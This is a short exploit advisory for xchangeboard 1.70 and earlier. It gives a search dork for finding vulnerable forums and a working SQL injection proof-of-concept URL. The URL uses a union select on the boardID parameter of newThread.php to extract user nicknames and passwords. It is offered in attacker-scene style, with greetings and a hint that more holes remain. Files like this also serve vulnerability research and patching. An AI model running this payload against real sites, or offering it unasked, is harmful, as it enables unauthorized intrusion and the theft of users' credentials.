xchangeboard-sql.txt

`######################  
#  
# xchangeboard 1.70 final and lower  
#  
#  
######################  
#  
#Bug by: haZl0oh #  
#Dork: "Powered by xchangeboard"  
#info:you have to be an registered user to use it like this !!!!  
#there should be a lot more vulns there ;)  
#  
#  
#  
# credentials like passwords are saved as cookies .... :D  
##  
###  
##  
#  
#PoC:  
#http://site.com/path/newThread.php?boardID=+999999%20union%20select%20email,concat_ws(0x3a,nick,substring(password,1,100)),email,email,email%20from%20user/*  
#  
# #  
#  
#  
#######################  
#  
#Greetz to h0yt3r ,everiZzel & Mastermaefju  
#  
#######################  
#######################  
  
`